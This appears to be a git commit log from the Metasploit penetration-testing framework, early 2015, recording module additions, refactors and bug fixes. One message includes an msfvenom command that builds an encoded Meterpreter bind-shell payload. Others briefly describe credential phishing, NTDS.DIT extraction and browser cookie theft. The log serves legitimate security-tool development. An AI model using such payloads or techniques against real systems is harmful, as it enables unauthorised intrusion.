William Vu 987fdbaeec Remove extraneous comment 2015-02-11 13:46:25 -06:00
William Vu 4cd5e8f702 Reenable post-merge hook in Travis 2015-02-11 13:41:23 -06:00
Samuel Huckins 2397be6e45 Land #4749 2015-02-11 13:13:05 -06:00
Tod Beardsley e0314aa727 Land #4750, Deprecate and msftidy on pxe exploits 2015-02-11 12:57:25 -06:00
Tod Beardsley 02fe57e2a1 Bump out to April, 60ish days 2015-02-11 12:56:37 -06:00
William Vu c73892b721 Nuke datastore modification check from orbit 2015-02-11 12:46:40 -06:00
William Vu fd11afff1a Deprecate manage/pxexploit
modules/post/windows/manage/pxeexploit.rb
2015-02-11 12:39:10 -06:00
William Vu 58b6b7519a Deprecate server/pxexploit
modules/auxiliary/server/pxeexploit.rb
2015-02-11 12:38:38 -06:00
William Vu 6294cbf4de Fix manage/pxexploit datastore 2015-02-11 12:19:59 -06:00
William Vu b894050bba Fix local/pxeexploit datastore 2015-02-11 12:19:56 -06:00
William Vu 9e717084af Fix server/pxexploit datastore 2015-02-11 12:19:39 -06:00
Sonny Gonzalez 7c57b9fb57 Fix Master - Pro build
MSP-12138

* revert to previous Rails 3 syntax.
2015-02-11 12:02:34 -06:00
William Vu 1ced9a2dd7 Land #4748, msftidy fixes for futex_requeue 2015-02-11 11:36:01 -06:00
Brent Cook f99ef5c0f5 fix msftidy warnings about towelroot module 2015-02-11 11:17:44 -06:00
rastating cb1efa3edd Improved error handling, tidied up some code 2015-02-11 10:16:18 +00:00
root 64b69d597a Add report_download and db_scan APIs 2015-02-11 14:11:10 +05:00
rastating 80a086d5f6 Add WordPress Photo Gallery upload module 2015-02-11 01:03:51 +00:00
sinn3r d23c9b552f Trade MS12-004 for MS13-090 against Windows XP BrowserAutoPwn 2015-02-10 18:58:56 -06:00
sinn3r 22811257db Fix #4711 - Errno::EINVA (getpeername(2)) BrowserAutoPwn Fix
This patch fixes #4711.

The problem here is that the browser sometimes will shutdown some of our
exploit's connections (in my testing, all Java), and that will cause Ruby
to call a rb_sys_fail with "getpeername(2)". The error goes all the
way to Rex::IO::StreamServer's monitor_listener method, which triggers a
"break" to quit monitoring. And then this causes another chain of reactions
that eventually forces BrowserAutoPwn to quit completely (while the
JavaScript on the browser is still running)
2015-02-10 18:28:02 -06:00
OJ 73435c6d1c Land #4743 - Bump met bins, update Linux bins.
Includes a merge of Gemfile.lock
2015-02-11 08:21:23 +10:00
Meatballs 33560a2657 Refactor Msf::Exploit::Powershell to Rex::Powershell to allow for
msfvenom usage.
2015-02-10 20:53:46 +00:00
Trevor Rosen b8b5bc95db Land #4500, update dependencies 2015-02-10 14:15:43 -06:00
Luke Imhoff 184b4e8a13 Merge branch 'master' into feature/MSP-11141/extract-cache-from-metasploit-model
MSP-11141

Conflicts:
	Gemfile.lock
	metasploit-framework-db.gemspec
2015-02-10 14:09:18 -06:00
Luke Imhoff 5df13364b2 Update to latest metasploit dependencies
MSP-11141
2015-02-10 14:01:49 -06:00
jvazquez-r7 b07ef333e9 Fix java_rmi_server include 2015-02-10 12:52:19 -06:00
Brent Cook 7ab7add721 bump meterpreter_bins to 0.0.14, update Linux binaries.
Hopefully the last manual build before packaging the Linux bins into
meterpreter_bins as well.

This includes all of the fixes and improvements over the past month.

 rapid7/meterpreter#116
 rapid7/meterpreter#117
 rapid7/meterpreter#121
 rapid7/meterpreter#124
2015-02-10 12:43:47 -06:00
Tod Beardsley 7f2add2ce3 Land #4742, Play Store XFO + UXSS Android RCE 2015-02-10 12:24:40 -06:00
jvazquez-r7 b8f614ef59 Fix namespaces in specs 2015-02-10 12:00:04 -06:00
jvazquez-r7 8222dc9302 Reorganize specs 2015-02-10 11:57:09 -06:00
jvazquez-r7 29c68ef1ec End fixing namespaces 2015-02-10 11:55:14 -06:00
Tod Beardsley bea9e2fca6 Land #4741, MDM and Cred gem bumps 2015-02-10 11:48:46 -06:00
Tod Beardsley 1e8f98c285 Updated description, credit, and URL 2015-02-10 11:25:13 -06:00
Tod Beardsley 1b89242a75 Add module for R7-2015-02 2015-02-10 11:03:46 -06:00
jvazquez-r7 6e635211b3 Modify include 2015-02-10 10:59:56 -06:00
jvazquez-r7 dba67bd1ee Do more code reorganization 2015-02-10 10:58:57 -06:00
jvazquez-r7 aa9e686965 Reorganize Java related mixin code 2015-02-10 10:52:44 -06:00
jvazquez-r7 1f4fdb5d18 Update from master 2015-02-10 10:47:17 -06:00
root d3c52f35ad Merge branch 'wchen-r7-pr4690' into nessus-rest-api
Merge wchen PR and updated plugin files
      1. Implement additional APIs
      2. Raise NotImplementedError for the remaining four reporting APIs
2015-02-10 12:41:27 +05:00
root e5fd9e70eb clean plugin/nessus.rb implement additional APIs 2015-02-10 12:40:20 +05:00
jvazquez-r7 5687028f09 Land #4671, @earthquake's exploit for achat buffer overflow 2015-02-09 17:50:09 -06:00
jvazquez-r7 6165d623ff Change module filename 2015-02-09 17:39:55 -06:00
jvazquez-r7 eb0741d7a7 Modify reference 2015-02-09 17:39:18 -06:00
Tod Beardsley 0a42ac947a Land #4737, fix Socket Context usages 2015-02-09 17:34:03 -06:00
jvazquez-r7 86f3bcad11 Do minor cleanup 2015-02-09 17:33:05 -06:00
Tod Beardsley 6e8b2e4ae7 Land #4738, msftidy falses, fixed 2015-02-09 17:32:42 -06:00
Tod Beardsley 7ee5fd9b32 Fix lotus_domino to use get_cookies correctly. 2015-02-09 17:29:44 -06:00
William Vu c8a687db7f Fix false positive in cookie check 2015-02-09 17:23:59 -06:00
Tod Beardsley 4014f1929f No random names, but store in .msf4/logs 2015-02-09 16:46:02 -06:00
Balazs Bucsay ac6879cfe1 proper payload encoding from now on 2015-02-09 23:36:35 +01:00
William Vu 4ed3ffa0ed Fix false positive in snake case check 2015-02-09 16:30:19 -06:00
Balazs Bucsay c7880ab4e1 hex strings related explanations 2015-02-09 23:21:38 +01:00
Matt Buck 9a445e2027 Land #4707, updates to finder syntax
Updates some Rails 3 style ActiveRecord calls to use the Rails 4 Arel
syntax, in preparation for our move to Rails 4.

Fixes #4707, also see MSP-12018
2015-02-09 16:01:38 -06:00
Matt Buck 13e8659c45 Bump version of metasploit-credential
Bumped version of metasploit-credential to pull in bumped version of
MDM, which fixes some old Rails-3 style ActiveRecord calls.

MSP-12127
2015-02-09 15:46:13 -06:00
Balazs Bucsay 9891026d30 sleep changed to Rex::sleep 2015-02-09 22:33:41 +01:00
jvazquez-r7 4822aa5159 Land #4739, @zeroSteiner's change to prepend_sleep powershell option check 2015-02-09 15:19:39 -06:00
William Vu e62f44cc1a Fix false negative in comment check
Adds anchor to regex.
2015-02-09 14:58:02 -06:00
jvazquez-r7 511f637b31 Call CollectGarbage 2015-02-09 14:44:31 -06:00
Tod Beardsley 79abb72589 Add some randomness to the /tmp filename 2015-02-09 14:34:42 -06:00
Spencer McIntyre 2a3855c5af Skip the psh prepend sleep time error when it is 0 2015-02-09 14:20:04 -05:00
HD Moore 2d129f9163 Clean up socket_logger, record the module name 2015-02-09 12:10:07 -06:00
jvazquez-r7 81cad064ea Land #4724, @wchen-r7's AllowWin32SEH's change on alpha encoders 2015-02-09 11:01:00 -06:00
Brent Cook af405eeb7d Land #4287, @timwr's exploit form CVS-2014-3153 2015-02-09 10:33:14 -06:00
Brent Cook 0e4f3b0e80 added built data/exploits/CVE-2014-3153.elf 2015-02-09 09:50:31 -06:00
sinn3r 592fa17587 Merge pull request #26 from jvazquez-r7/review_4724
Make safer Change AllowWin32SEH
2015-02-09 09:48:22 -06:00
jvazquez-r7 831a1494ac Keep default behavior for modules forcing Msf::Encoder::Type::AlphanumUpper 2015-02-08 18:29:25 -06:00
jvazquez-r7 3e7e9ae99b Keep default behavior for modules forcing Msf::Encoder::Type::AlphanumMixed 2015-02-08 18:22:11 -06:00
Meatballs 133ae4cd04 Land #4679, Windows Post Gather File from raw NTFS. 2015-02-08 18:50:50 +00:00
Meatballs 69e53a46cb Final tidyups, description etc 2015-02-08 18:49:17 +00:00
Meatballs 9518090b8b Ignore some error conditions 2015-02-08 18:46:48 +00:00
Bazin Danil cc4fc1aefa use GetFileAttributesW and CreateFileW 2015-02-08 17:36:49 +01:00
Bazin Danil 8cefe637df bug with testing Win2k8 correction 2015-02-08 17:28:33 +01:00
Tod Beardsley 1f7bee35b5 Land #4731, fix fail_with message 2015-02-07 22:27:17 -06:00
Tod Beardsley a5b2e99136 Correct punctuation on outlook, too. 2015-02-07 22:26:14 -06:00
Christian Mehlmauer 6d46182c2f Land #4570, @rastating 's module for wp-easycart 2015-02-07 23:42:23 +01:00
Christian Mehlmauer f2b834cebe remove check because the vuln is unpatched 2015-02-07 23:38:44 +01:00
Christian Mehlmauer d2421a2d75 wrong version 2015-02-07 23:34:19 +01:00
Christian Mehlmauer 56d2bc5adb correct version number 2015-02-07 23:22:43 +01:00
wez3 1390c81420 Fix fail_with text
Fix fail_with text, when the target system is locked.
2015-02-07 21:20:24 +01:00
rastating 345d5c5c08 Update version numbers to reflect latest release 2015-02-07 19:09:16 +00:00
HD Moore b1726fd609 Missing comma 2015-02-07 11:56:22 -06:00
HD Moore 8d982e3286 Pass the framework/module down into LoginScanner 2015-02-07 11:50:30 -06:00
HD Moore 985641dbc4 Add missing Context, fixes #4723 2015-02-07 11:27:57 -06:00
danilbaz dc94e9fb6e Merge pull request #1 from Meatballs1/ntfs_read
Small tidyup
2015-02-07 16:53:37 +01:00
Meatballs 358ab2590e Small tidyup 2015-02-07 11:35:47 +00:00
sinn3r c20a81217c More work for nessus-xmlrpc.rb 2015-02-07 00:09:02 -06:00
jvazquez-r7 87775c6ee4 Fix description 2015-02-06 23:55:27 -06:00
jvazquez-r7 76387eebe0 Use File.open 2015-02-06 21:35:07 -06:00
sinn3r e8ba0b7c31 Fix broken commands 2015-02-06 19:07:43 -06:00
William Vu eb4226dbbb Land #4727, README.md Travis badge fix 2015-02-06 18:24:23 -06:00
jvazquez-r7 1ea4a326c1 Land #4656, @nanomebia's fixes for sugarcrm_unserialize_exec 2015-02-06 16:42:01 -06:00
jvazquez-r7 e511f72ab4 Delete final check
* A session is the best proof of success
2015-02-06 16:34:34 -06:00
Matt Buck 531743eff1 Land #4697, updates to finder syntax
Updates some Rails 3 style ActiveRecord calls to use the Rails 4 Arel
syntax, in preparation for our move to Rails 4.

Fixes #4697, also see MSP-12016
2015-02-06 15:41:11 -06:00
Tod Beardsley dbd23af614 Fix README.md Travis badge 2015-02-06 15:18:11 -06:00
jvazquez-r7 a46a53acaf Provide more space for the payload 2015-02-06 14:49:49 -06:00
Sonny Gonzalez 0fc4e09466 Rails 4 finder conversions
MSP-12017

* covert all(options), mapping options hashes to the
  appropirate Rails 4 methods
2015-02-06 13:51:48 -06:00
sinn3r a543d957d4 Fix #4717 - Change AllowWin32SEH's default to false
This is patch to change AllowWin32SEH to false.

Root cause:

The truely intended behavior is that if the user doesn't set a
BufferRegister and the encoder is for Windows, the AllowWin32SEH
code should kick in.

The problem here is that msfencode and msfvenom handle the platform
information differently, so we get different results.

With msfencode, the platform information isn't passed when alpha_mixed
is used, so even if you're using the encoder for Win32, the encoder
doesn't actually know about this. But everything works out just fine
anyway because people don't actually rely on AllowWin32SEH.

With msfvenom, the platform information is passed, so the encoder
actually knows it's for Windows. The two conditions are met (regster
and platform), so AllowWin32SEH kicks in. However, the AllowWin32SEH
technique enforces the BufferRegister to ECX, and that there's no
GetPC, so by default this isn't going to work.

The solution:

We are actually better off with setting AllowWin32SEH to false, mainly
because the SEH technique is pretty much dead (congrats MSFT!). And we
want the GetPC routine by default.

If people want to use AllowWin32SEH routine, they can simply set
AllowWin32SEH to true to bring it right back. For example:

e = framework.encoders.create('x86/alpha_mixed')
e.datastore.import_options_from_hash({'AllowWin32SEH'=>true})
buf = e.encode("AAAA", nil, nil, ::Msf::Module::PlatformList.win32)

Or in msfvenom:

msfvenom -p windows/meterpreter/bind_tcp -e x86/alpha_mixed
AllowWin32SEH=true -f raw

Fix #4717
2015-02-06 12:38:04 -06:00
jvazquez-r7 414349972f Fix comment 2015-02-06 11:34:20 -06:00
jvazquez-r7 f6933ed02c Add module for EDB-35948 2015-02-06 11:05:29 -06:00
jvazquez-r7 b5e230f838 Add javascript exploit 2015-02-06 11:04:59 -06:00
Sonny Gonzalez 1051f0fb82 Rails 4 finder conversion
MSP-12012

* convert find(:first, options) by mapping options
  to methods
2015-02-06 10:15:50 -06:00
Sonny Gonzalez 9a53859a77 Rails 4 finder conversion
MSP-12012

* covert find(:first) to first
2015-02-06 10:13:14 -06:00
Tod Beardsley 036cb77dd0 Land #4709, fixed up some datastore mangling 2015-02-05 21:22:38 -06:00
wvu-r7 fb3422c221 Merge pull request #10 from todb-r7/land-4709-datastore
Fix datastore mangling with instance variables
2015-02-05 21:09:54 -06:00
Tod Beardsley 7e649a919c This version will actually work. 2015-02-05 21:00:54 -06:00
Tod Beardsley 3e0ce4a955 Fix datastore mangling with instance variables
See rapid7/metasploit-framework #4709
2015-02-05 20:37:18 -06:00
Spencer McIntyre 4e0a62cb3a Land #4664, MS14-070 Server 2003 tcpip.sys priv esc 2015-02-05 18:49:15 -05:00
Spencer McIntyre a359fe9acc Minor fixup on the ms14-070 module description 2015-02-05 18:41:58 -05:00
Tod Beardsley f8c81e601c Land #4710 for real.
This isn't a proper merge commit. Will need to figure out what I did to
wang up the last landing -- I'm guessing I didn't fetch enough first.

This should fix #4710.
2015-02-05 17:18:51 -06:00
Tod Beardsley 0a587c9f5a Land #4710, really
Looks like my publish script ended up rebasing wchen-r7/aux_ie_uxss and
didn't catch the file rename correctly.

Conflicts:
	modules/auxiliary/gather/ie_uxss_injection.rb
2015-02-05 17:13:53 -06:00
Tod Beardsley be20714019 Land #4710, @wchen-r7's IE 10/11 UXSS module 2015-02-05 17:09:12 -06:00
sinn3r 79e0ddadf6 Rename file again 2015-02-05 17:09:11 -06:00
sinn3r 97aa9f9dd2 Credit @joevennix 2015-02-05 17:09:11 -06:00
sinn3r 7585c625fa Another update
Thanks @joevennix
2015-02-05 17:09:11 -06:00
sinn3r 12aadb3132 Another update 2015-02-05 17:09:10 -06:00
sinn3r 17f2d8048d Another update 2015-02-05 17:09:10 -06:00
sinn3r 01252078ea Use store_loot to store coookie 2015-02-05 17:09:10 -06:00
sinn3r 6fd38307e7 An update 2015-02-05 17:09:10 -06:00
sinn3r 727fc51c0b Don't need this line 2015-02-05 17:09:10 -06:00
sinn3r 4924749b96 Try to make the filename more self explanatory 2015-02-05 17:09:09 -06:00
sinn3r 26af10c3b6 Change public ip option name and store cookie to db 2015-02-05 17:09:09 -06:00
sinn3r bfa7b61663 Final 2015-02-05 17:09:09 -06:00
sinn3r b90515ae5d IE UXSS 2015-02-05 17:09:09 -06:00
KoreLogicSecurity 4fabe85099 Merge pull request #1 from zeroSteiner/land-4664
MS14-070 Changes
2015-02-05 17:30:23 -05:00
Bazin Danil 970c5d115a spellcheck 2015-02-05 22:08:39 +01:00
sinn3r d16cc843b2 Correct disclosure date 2015-02-05 15:00:13 -06:00
sinn3r 0955e14dad Final, really, I think 2015-02-05 14:59:24 -06:00
Samuel Huckins a9b084c3ad Pulling in latest MDM and credential versions
* Fully removing service uniqueness validation for now, more work to be
done on that to avoid regressions.
2015-02-05 14:06:30 -06:00
Samuel Huckins 37ef46264a Pulling in latest MDM and credential versions
* Fully removing service uniqueness validation for now, more work to be
done on that to avoid regressions.
2015-02-05 14:05:24 -06:00
William Vu 3b28b23e2e Land #4712, @todb-r7's release fixes 2015-02-05 13:18:09 -06:00
Spencer McIntyre dc13446536 Forgot to comment ret instruction 2015-02-05 14:09:01 -05:00
sinn3r 578423501a Another update 2015-02-05 13:08:33 -06:00
Spencer McIntyre 5a39ba32f6 Make the ret instruction for token stealing optional 2015-02-05 14:00:38 -05:00
Spencer McIntyre dabc163076 Modify the shellcode stub to save the process 2015-02-05 13:54:52 -05:00
Tod Beardsley c633c710bc Mostly caps/grammar/spelling, GoodRanking on MBAM 2015-02-05 12:36:47 -06:00
sinn3r 562063c4d5 Rename file again 2015-02-05 12:26:17 -06:00
sinn3r 80ebde4fe1 Credit @joevennix 2015-02-05 12:25:38 -06:00
sinn3r 27b8d1057f Another update
Thanks @joevennix
2015-02-05 12:23:32 -06:00
sinn3r 988b54f594 Another update 2015-02-05 12:01:19 -06:00
sinn3r 53134aeb17 Another update 2015-02-05 11:46:38 -06:00
sinn3r 871c8aa8d0 Use store_loot to store coookie 2015-02-05 11:36:35 -06:00
sinn3r dbe99014f2 An update 2015-02-05 11:29:52 -06:00
root 2744db4d11 Add nessus_scan_export and nessus_scan_export_status methods 2015-02-05 22:18:22 +05:00
sinn3r 08d796c5e3 Don't need this line 2015-02-05 10:53:29 -06:00
sinn3r d6fe077f79 Try to make the filename more self explanatory 2015-02-05 09:53:38 -06:00
sinn3r ed6ee27896 Change public ip option name and store cookie to db 2015-02-05 09:48:45 -06:00
sinn3r 75c697c4dc Final 2015-02-05 04:36:44 -06:00
sinn3r 1ccfb6cb43 IE UXSS 2015-02-05 03:03:28 -06:00
William Vu b43522a2b8 Fix scadapro_cmdexe datastore 2015-02-05 02:54:03 -06:00
William Vu a12d1244b9 Fix zenworks_helplauncher_exec datastore 2015-02-05 02:53:47 -06:00
William Vu 148ffaf55f Fix real_arcade_installerdlg datastore 2015-02-05 02:53:38 -06:00
William Vu a7156cf4a8 Fix zabbix_script_exec datastore 2015-02-05 02:53:22 -06:00
William Vu 9c1487c944 Fix dns_fuzzer datastore 2015-02-05 02:53:14 -06:00
William Vu c22865fb71 Fix nexpose_xxe_file_read datastore 2015-02-05 02:53:00 -06:00
scriptjunkie 5b2eb986c9 Land #4678 Add post module to phish credentials 2015-02-04 23:43:02 -06:00
sinn3r 434bca0b27 Land #4613, auxiliary/server/capture/smb credential creation 2015-02-04 22:45:36 -06:00
Spencer McIntyre aebf5056ac Dont compare a string to an integer 2015-02-04 16:55:43 -05:00
Tod Beardsley 47d4acd91d Land #4605, Malwarebytes fake update exploit 2015-02-04 10:28:17 -06:00
jvazquez-r7 72007a5daa Land #4708, @julianvilas's fix for struts_code_exec_classloader HTTP requests 2015-02-04 09:47:52 -06:00
jvazquez-r7 fbf32669c6 Use single quote 2015-02-04 09:47:27 -06:00
julianvilas de09559cc8 Change HTTP requests to succeed when going through HTTP proxies 2015-02-04 15:32:14 +01:00
Gabor Seljan 99f5b4bf00 Merge pull request #4 from todb-r7/land-4605-malwarebytes
Malwarebytes poisoned update fixes
2015-02-04 10:57:45 +01:00
sinn3r df22ed2132 Land #4702, Fix bug in Firefox XPCOM payload on Linux 2015-02-03 21:36:01 -06:00
jvazquez-r7 c366e7777d Delete ternary operators 2015-02-03 17:43:00 -06:00
jvazquez-r7 c0e1440572 Land #4685, @FireFart's module for Wordpress Platform Theme RCE 2015-02-03 17:35:59 -06:00
jvazquez-r7 28f303d431 Decrease timeout 2015-02-03 17:33:29 -06:00
jvazquez-r7 34717d166d Fix typo 2015-02-03 17:12:54 -06:00
jvazquez-r7 a1c157a4db Land #4609, @h0ng10's module for Wordpress Pixabay Images PHP Code Upload 2015-02-03 17:01:32 -06:00
jvazquez-r7 eebee7c066 Do better session creation handling 2015-02-03 17:00:37 -06:00
jvazquez-r7 4ca4fd1be2 Allow to provide the traversal depth 2015-02-03 16:38:40 -06:00
jvazquez-r7 e62a5a4fff Make the calling payload code easier 2015-02-03 16:23:04 -06:00
jvazquez-r7 61cdb5dfc9 Change filename 2015-02-03 16:13:10 -06:00
Christian Catalan 3deac54d3f Convert find_or_initialize_by_X to Rails 4 compatible.
MSP-12018
2015-02-03 16:09:49 -06:00
jvazquez-r7 82be43ea58 Do minor cleanup 2015-02-03 16:07:27 -06:00
William Vu 8a17acf847 Land #4699, fresh terp binaries from @bcook-r7 2015-02-03 15:46:28 -06:00
Samuel Huckins c2d8337dd1 Merge branch 'master' into release 2015-02-03 15:30:42 -06:00
jvazquez-r7 82eeec0946 Delete comments 2015-02-03 15:25:52 -06:00
jvazquez-r7 52616a069a Add support for NTLMSSP 2015-02-03 15:25:02 -06:00
Tod Beardsley b5794db973 Spelling 2015-02-03 14:10:47 -06:00
Tod Beardsley edd5ec3b0d Refactor and rename of @sgabe's module
Renamed because it's not just MBAM, and having malwarebytes in the name
is more memorable anyway.

This refactor's @sgabe's original module to prefer if/else over
unless/else, clearly labelling variables, and wrapping up discrete
functionality into specific methods, and adds an OSVDB and the original
discoverer's URL.
2015-02-03 14:08:25 -06:00
William Vu 07438d3ec4 Land #4704, Asterisk 1.8 support for IAX2 stack
https://github.com/rapid7/warvox/issues/27
2015-02-02 23:11:06 -06:00
HD Moore ffe0e52cb6 The iax2 stack now works properly with asterisk 1.8
Note that the requirecalltoken=no setting is still required in the asterisk configuration at this point.
2015-02-02 22:29:13 -06:00
William Vu ef216059df Land #4703, IAX2 self.debugging for dprint
Needs to be set for iaxrecord.rb -d to work.
2015-02-02 21:52:24 -06:00
HD Moore 0ba34422d5 Pass the debugging option for IAX2 Client 2015-02-02 21:08:16 -06:00
joev ee1af83cc8 Go ahead and trim whitespace on all commands coming in. 2015-02-02 16:56:22 -06:00
William Vu 54a5dd69a9 Land #4698, WP GHOST scanner dead code removal 2015-02-02 16:54:09 -06:00
Brent Cook 8934854f4d Land #4701, @wvu-r7 decollides search_filter, fixing slow searches 2015-02-02 16:49:40 -06:00
William Vu 9e030143e7 Fix slow search due to method name conflict
Changed "search_filter" in enum_ad_users module to "query_filter" to
avoid conflicting with "search_filter" in command_dispatcher/core.rb.
2015-02-02 16:36:20 -06:00
Brent Cook 2fdeeb3b13 Rebuilt Java Payloads with the latest NDK/SDK and meterpreter-javapayload
Fix rapid7/meterpreter#95, rebuilt with all outstanding PRs from
rapid7/metasploit-javapayload.
2015-02-02 13:09:15 -06:00
Christian Mehlmauer c8864c93d7 remove unused code 2015-02-02 20:04:10 +01:00
Christian Catalan 797b5d0d55 Convert #find_or_create_by_x to #where().first_or_create
MSP-12016
2015-02-02 12:22:26 -06:00
Trevor Rosen dda87667c9 Land #4688, fix for pcap magic number on 2.x 2015-02-02 11:00:13 -06:00
William Vu d5c61c01f5 Land #4694, uninit Rex::OLE fix 2015-02-02 05:33:40 -06:00
sinn3r 26a836f5a2 Land #4692 - ms15_004_tswbproxy exploit 2015-02-02 01:21:19 -06:00
sinn3r 9112e70187 Fix #4693 - Uninit Rex::OLE in MS14-064 exploits
Fix #4693
2015-02-02 00:20:34 -06:00
jvazquez-r7 aa7f7d4d81 Add DLL source code 2015-02-01 19:59:10 -06:00
jvazquez-r7 d211488e5d Add Initial version 2015-02-01 19:47:58 -06:00
jvazquez-r7 d0cf316758 Land #4659, @pedrib's ManageEngine directory listing module 2015-02-01 14:19:46 -06:00
jvazquez-r7 128ca47aa7 Fix banner 2015-02-01 14:19:03 -06:00
jvazquez-r7 41232c0f91 Land #4758, @pedrib's ManageEngine arbitrary file download module 2015-02-01 14:17:04 -06:00
jvazquez-r7 361aaa7551 Fix banner 2015-02-01 14:16:09 -06:00
wez3 904a99965d Sleep 1 added
Sleep 1 added to reduce network usage
2015-02-01 11:55:01 +01:00
Pedro Ribeiro 39a25fc549 Update manageengine_file_download.rb 2015-02-01 10:49:48 +00:00
Pedro Ribeiro e9b5aa94c3 Add OSVDB id and full disclosure URL 2015-02-01 10:49:11 +00:00
root 23af5f8c82 Nessus plugin for REST API 2015-02-01 13:54:35 +05:00
William Vu 7f0af0211d Land #4682, exploit/http/server.rb breakup 2015-02-01 01:44:43 -06:00
Samuel Huckins b56f18ad0d Land #4689 2015-02-01 01:22:44 -06:00
Samuel Huckins 9e6fd1879e Fixing order clause
MSP-12011

* This was resulting in PGSyntaxError
2015-02-01 01:19:31 -06:00
Samuel Huckins 8a04e37de8 Updating to latest MDM, metasploit-credential
Rails 4 compatibility related
2015-02-01 00:49:12 -06:00
Christian Catalan 7d1090baca Convert #find(:all) to #where or #all 2015-02-01 00:31:58 -06:00
Brandon Turner ad374c2e4f Use ASCII-8BIT for comparing pcap magic number
In Ruby 2, source files are read as UTF-8 by default.  When comparing
PCAP headers, we should use ASCII-8BIT or else the comparison will not
work.  This should be backwards compatible with Ruby 1.9.

MSP-12092
2015-01-31 23:57:49 -06:00
Samuel Huckins 00f99b917c Updating to latest MDM
MSP-12014

* Updates find_all_by to where
2015-01-31 21:38:24 -06:00
Christian Catalan 8740fd9015 Convert #find_all_by_X to #where 2015-01-31 21:07:50 -06:00
Christian Mehlmauer 2c956c0a0f add wordpress platform theme rce 2015-01-31 22:02:44 +01:00
Pedro Ribeiro 1f5535398d Merge pull request #15 from jvazquez-r7/review_4658
Review 4658
2015-01-31 19:49:50 +00:00
Pedro Ribeiro 50c518d763 Merge pull request #14 from jvazquez-r7/review_4659
Clean OpManager directory content disclosure module
2015-01-31 19:48:20 +00:00
Bazin Danil 03fcfc496a add a test to check if the file exist 2015-01-31 06:00:02 +01:00
Bazin Danil fbb85c0391 using string concatenation for performence 2015-01-31 05:13:44 +01:00
Bazin Danil 2cf9a17f25 variable name clarification (file, file_path, path) 2015-01-31 05:07:07 +01:00
Bazin Danil 5d4a8e2f90 using store_loot 2015-01-31 05:01:28 +01:00
Bazin Danil d6fb445522 add begin...ensure block so that the CloseHandle call occurs 2015-01-31 04:46:02 +01:00
Bazin Danil 1205c0045f using r['ErrorMessage'] 2015-01-31 04:37:16 +01:00
Bazin Danil f7d2e2a27a twitter in comment 2015-01-31 04:36:07 +01:00
Bazin Danil d9c64397fd shorter the line, using more variables 2015-01-31 04:32:32 +01:00
Bazin Danil 0fce908045 add constant class 2015-01-31 04:19:27 +01:00
Bazin Danil f4ec6bdc78 - use non-native pack/unpack directives
- coding: binary
- use constant for data_attribute
2015-01-31 03:59:23 +01:00
jvazquez-r7 2c7777f831 Land #4601, @wchen-r7's tool to lookup md5 hashes 2015-01-30 19:04:34 -06:00
jvazquez-r7 4316c379eb Use unless instead of if not 2015-01-30 19:01:49 -06:00
jvazquez-r7 3471b43010 Land #4683, @julianvilas's support for struts 1 on struts_code_exec_classloader 2015-01-30 18:47:56 -06:00
Brent Cook cf891efc14 Land #4674, @wvu-r7 teaches msfconsole to read stdin as - 2015-01-30 18:25:09 -06:00
jvazquez-r7 c831de35a2 Land #4392, @Meatballs1's post module to enumerate AD users 2015-01-30 17:21:10 -06:00
William Vu fdf88b9563 Land #4639, incorrect use of #class fixes
case uses === internally. :)
2015-01-30 16:57:59 -06:00
Brent Cook 253d8e60dd Land #4388, Meatballs1's golden ticket post module 2015-01-30 16:26:04 -06:00
James Lee 1fbed1dcfc Autoload instead of require 2015-01-30 15:42:16 -06:00
jvazquez-r7 11502bad39 Clean code 2015-01-30 15:26:25 -06:00
James Lee 062529ce3b Move HttpServer::HTML into its own file 2015-01-30 15:24:15 -06:00
Tod Beardsley 9bb1c359ba Land #4681 un-Swayze CONTRIBUTING.md 2015-01-30 15:22:43 -06:00
jvazquez-r7 1916c92e3a Clean metadata 2015-01-30 15:21:17 -06:00
James Lee 3572ce9a37 Break PHPInclude into its own file 2015-01-30 15:16:54 -06:00
William Vu 6e08cc90db Remove Road House reference
I'm not sure most people would get it.

It's not about getting kicked in the face by Patrick Swayze (RIP).
It's actually about being nice.

https://www.youtube.com/watch?v=l0aPIXy6PHM
2015-01-30 15:14:56 -06:00
jvazquez-r7 c9ac56442d No modify datastore option 2015-01-30 15:05:46 -06:00
jvazquez-r7 bb640b90ef Refactor login_it360 2015-01-30 15:02:23 -06:00
William Vu 3954c0e3aa Land #4654, test module fixes 2015-01-30 15:00:54 -06:00
jvazquez-r7 d4359c4f1c Rework login_it360 code 2015-01-30 15:00:34 -06:00
William Vu efd7a8c962 Land #4670, dns_amp RA flag fix 2015-01-30 14:46:15 -06:00
William Vu 0cc41b1e92 Land #4680, {CONTRIBUTING,README}.md fixes 2015-01-30 14:43:52 -06:00
Tod Beardsley dc7aff446a Fix up README.md and CONTRIBUTING.md
* Specifically disclaim scripts
* Prefer end note links
* Pre-fill the issue submission form (check it out:
  http://r-7.co/MSF-BUGSv1 )
2015-01-30 14:28:39 -06:00
jvazquez-r7 c5db13fba9 Do minor style fixes 2015-01-30 14:13:11 -06:00
jvazquez-r7 89f760c94e Clean metadata 2015-01-30 14:08:55 -06:00
wez3 25ac9c1ed9 Add post module to phish windows user credentials 2015-01-30 19:50:04 +01:00
Bazin Danil 68b735dbda Add a NTFS parser and a post module to dump files
This commit add a draft of an NTFS Parser and a post module
to gather file using the raw NTFS device (\\.\C:)
bypassing restriction like already open file with lock
Can be used to retreive file like NTDS.DIT without volume shadow copy
2015-01-30 19:16:44 +01:00
jvazquez-r7 cb076adb19 Land #4675, @Firefart's scanner for ghost through wordpress xmlrpc 2015-01-30 10:27:18 -06:00
jvazquez-r7 03169f231b Handle one redirection on wordpress_and_online? 2015-01-30 10:26:23 -06:00
jvazquez-r7 c098de27ee Do safer body check 2015-01-30 10:22:43 -06:00
jvazquez-r7 bc65d2f526 Make filename compatible with namespace 2015-01-30 10:22:07 -06:00
Brent Cook 89e5a2b892 disable -no-thumb, doesn't work with latest NDK? 2015-01-30 09:36:21 -06:00
Christian Mehlmauer 7504358db3 code style and typos 2015-01-30 15:57:32 +01:00
Christian Mehlmauer 9ce2dd9815 msftidy 2015-01-30 15:41:11 +01:00
Christian Mehlmauer a0eaf2f626 add wordpress ghost scanner module 2015-01-30 15:29:51 +01:00
Julian Vilas f983c8171e Modify description to match both Struts 1.x and 2.x versions 2015-01-30 12:35:38 +01:00
Meatballs 39004d265b Increase default buffer sizes to reduce railgun calls 2015-01-30 11:20:03 +00:00
Meatballs 6b97618fb2 Improve resolve_sid API calls 2015-01-30 11:20:03 +00:00
Meatballs 02864b4401 Railgun DWORD handling 2015-01-30 11:20:03 +00:00
